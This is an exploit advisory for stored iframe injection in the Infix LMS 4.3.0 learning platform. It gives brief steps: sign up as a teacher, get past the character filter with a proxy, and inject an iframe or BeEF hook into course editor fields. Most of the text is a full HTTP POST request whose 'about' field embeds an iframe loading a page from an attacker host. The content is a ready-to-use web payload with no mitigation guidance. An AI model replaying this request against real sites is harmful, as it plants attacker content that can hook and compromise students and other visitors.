Infix LMS 4.3.0 IFRAME Injection

2022.09.13
Credit: th3d1gger
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Infix LMS - Learning Management System IFRAME Injection # Exploit Author: th3d1gger # Vendor Homepage: https://codecanyon.net # Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608 # Version: 4.3.0 # Tested on Ubuntu 18.04 sign up as teacher go course page and try to add course or edit with bypass special char restrict on post request with burp or etc, inject iframe with beef hook or else on any note-editor field --request-- POST /admin/course/updateCourse HTTP/1.1 Host: localhost Content-Length: 3855 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydcMGShie2VwdqOn2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/admin/course/course-details/7?type=courseDetails Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhIUjU2U3FiTUMzQzZxT2E0OVVhZ1E9PSIsInZhbHVlIjoiRDBWUnFuakRhbTlHMStIb0xaRGp3YndQY3lla0RWcjZ2N3VyUUZMUzU1M004azBNNFk2QlBQNnJGSzRxWnh3bVppZ1hBcmRaOEV3TWd0L2V3R3FXcTZTQVpMQWxFSXQvOE00a3NZK0tjaDNqNzJ4ckdQc2psN2tMUzJaK3kzaDgiLCJtYWMiOiIxMjNjZTExZGE1MzUzNmQ0ZGMxMzk3Y2Y5NmEwMjZjNjdhZDEyNDU5ODYwYTVhZTZjM2UwN2VhNzZiMGY0OTI5IiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6Im1hSEwwZ3ZlbGJUVGpqTFJLSEdkOGc9PSIsInZhbHVlIjoiSUNJbDZMbmNLSWVlWm1OU3BqYVpYYTkzK3BVN0xxaG1qZnpCVis1TjAwd1FRV3RKUlRNbGdleUhaUWRpdXMwTmxtMFJjc3BTUTV2Ty9zLzkyTWZBckpRTUlsVEc1dmlVbzRwOHRhdW1nSWpNdkRnbmNUMGFqZFUyVml2UDBDclMiLCJtYWMiOiIzZjBmNjVlNDg0MjFmN2NiYjI3ZmIxNmM0YjlkMjE1MGZjZTVlN2Y5N2JmYTcwOWM1ZDA2ZmU4MzIzYzI2YTExIiwidGFnIjoiIn0%3D Connection: close ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="_token" 0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="type" 1 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="drip" 0 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="title" Introduction to Programming and App Development ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="id" 7 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="requirements" ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="about" <p><p><br></p><p><br></p><p><br></p></p><p><p><iframe src="http://192.168.1.18:3000/uploads/test.html"></p></p><div><br></div><p><br></p><p><br></p><p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book</p> ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="outcomes" ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="category" 4 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="sub_category" 7 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="mode_of_delivery" 1 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="quiz" ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="level" 2 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="language" 19 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="duration" 10 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="complete_order" 0 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="price" 20 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="is_discount" 1 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="discount_price" 10 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="host" Youtube ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="trailer_link" https://www.youtube.com/watch?v=mlqWUqVZrHA ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="vimeo" ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="vdocipher" https://www.youtube.com/watch?v=mlqWUqVZrHA ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="file"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="scope" 1 ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="image"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="meta_keywords" ------WebKitFormBoundarydcMGShie2VwdqOn2 Content-Disposition: form-data; name="meta_description" ------WebKitFormBoundarydcMGShie2VwdqOn2--


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